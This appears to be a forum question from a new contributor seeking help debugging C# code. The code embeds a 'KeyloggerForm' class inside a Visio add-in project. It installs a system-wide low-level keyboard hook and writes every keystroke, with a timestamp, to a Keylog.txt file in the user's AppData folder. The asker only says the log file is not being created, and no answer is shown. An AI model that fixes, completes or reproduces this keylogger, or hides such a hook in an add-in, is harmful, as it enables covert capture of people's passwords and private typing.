I’m an enthusiastic programmer. I found out this syntax about LowLevlKeyboard to record the process of the keyboard inputs and pressed keys. I don’t think I set up the hook correctly to write into a TXT to record all inputs taken from the keyboard.
namespace VisioAddIn1
{
public partial class ThisAddIn
{
private void ThisAddIn_Startup(object sender, EventArgs e)
{
}
public partial class KeyloggerForm : Form
{
private static IntPtr hookId = IntPtr.Zero;
private static readonly string logFilePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Keylog.txt");
private readonly LowLevelKeyboardProc keyboardProcess;
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
public KeyloggerForm()
{
InitializeComponent();
EnsureLogFileExists();
keyboardProcess = HookCallback;
hookId = SetHook(keyboardProcess);
}
private void EnsureLogFileExists()
{
try
{
if (!File.Exists(logFilePath))
{
using (FileStream fs = File.Create(logFilePath)) { }
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error creating log file: {ex.Message}");
}
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
try
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
IntPtr hook = SetWindowsHookEx(13, proc, curModule.BaseAddress, 0);
if (hook == IntPtr.Zero)
{
int errorCode = Marshal.GetLastWin32Error();
Debug.WriteLine($"Failed to install keyboard hook. Error Code: {errorCode}");
}
return hook;
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error setting hook: {ex.Message}");
return IntPtr.Zero;
}
}
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && (wParam == (IntPtr)KeyHelper.WM_KEYDOWN || wParam == (IntPtr)KeyHelper.WM_SYSKEYDOWN))
{
KBDLLHOOKSTRUCT kbdStruct = Marshal.PtrToStructure<KBDLLHOOKSTRUCT>(lParam);
Keys key = (Keys)kbdStruct.vkCode;
try
{
File.AppendAllText(logFilePath, $"{DateTime.Now}: {key}{Environment.NewLine}");
}
catch (Exception ex)
{
Debug.WriteLine($"Error logging key: {ex.Message}");
}
}
return CallNextHookEx(hookId, nCode, wParam, lParam);
}
private class KeyHelper
{
public const int WM_KEYDOWN = 0x100;
public const int WM_KEYUP = 0x101;
public const int WM_SYSKEYDOWN = 0x104;
public const int WM_SYSKEYUP = 0x105;
}
[StructLayout(LayoutKind.Sequential)]
private struct KBDLLHOOKSTRUCT
{
public uint vkCode; // Virtual key code
public uint scanCode; // Hardware scan code
public uint flags; // Extended key flags
public uint time; // Time stamp for the event
public IntPtr dwExtraInfo; // Additional info
}
protected override void OnFormClosed(FormClosedEventArgs e)
{
UnhookWindowsHookEx(hookId);
base.OnFormClosed(e);
}
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new KeyloggerForm());
}
}
}
}
I’ve made a mistake where I should added the
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
and that is why I think the hook is improperly managed and can’t write the keylogger data in
private void EnsureLogFileExists()
{
try
{
if (!File.Exists(logFilePath))
{
using (FileStream fs = File.Create(logFilePath)) { }
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error creating log file: {ex.Message}");
}
}
The (logFilePath) is the variable where I keep the keylogs in the Keylog.txt. But whenever I run the code in Visual Studio it doesn’t create and such file. What is the solution?
Cthulhu’s Rage is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
4